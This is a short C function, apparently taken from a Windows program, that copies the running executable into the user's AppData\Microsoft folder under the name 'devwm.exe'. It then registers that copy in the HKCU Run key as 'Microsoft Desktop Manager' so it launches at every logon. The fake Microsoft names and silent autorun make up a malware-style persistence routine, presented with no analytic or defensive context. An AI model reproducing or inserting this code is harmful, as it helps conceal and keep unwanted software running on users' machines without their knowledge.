static void Install()
{
char* pAppData = NULL;
size_t len = 0;
char szName[MAX_PATH] = "\0";
char szPath[MAX_PATH] = "\0";
_dupenv_s(&pAppData, &len, "APPDATA");
StringCchCatA(szPath, MAX_PATH, pAppData);
StringCchCatA(szPath, MAX_PATH, "\\Microsoft");
StringCchCatA(szPath, MAX_PATH, "\\devwm.exe");
GetModuleFileNameA(NULL, szName, MAX_PATH);
CopyFileA(szName, szPath, FALSE);
HKEY hkSoftware;
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkSoftware);
RegSetValueExA(hkSoftware, "Microsoft Desktop Manager", 0, REG_SZ, (BYTE*)szPath, lstrlenA(szPath)+1);
RegCloseKey(hkSoftware);
}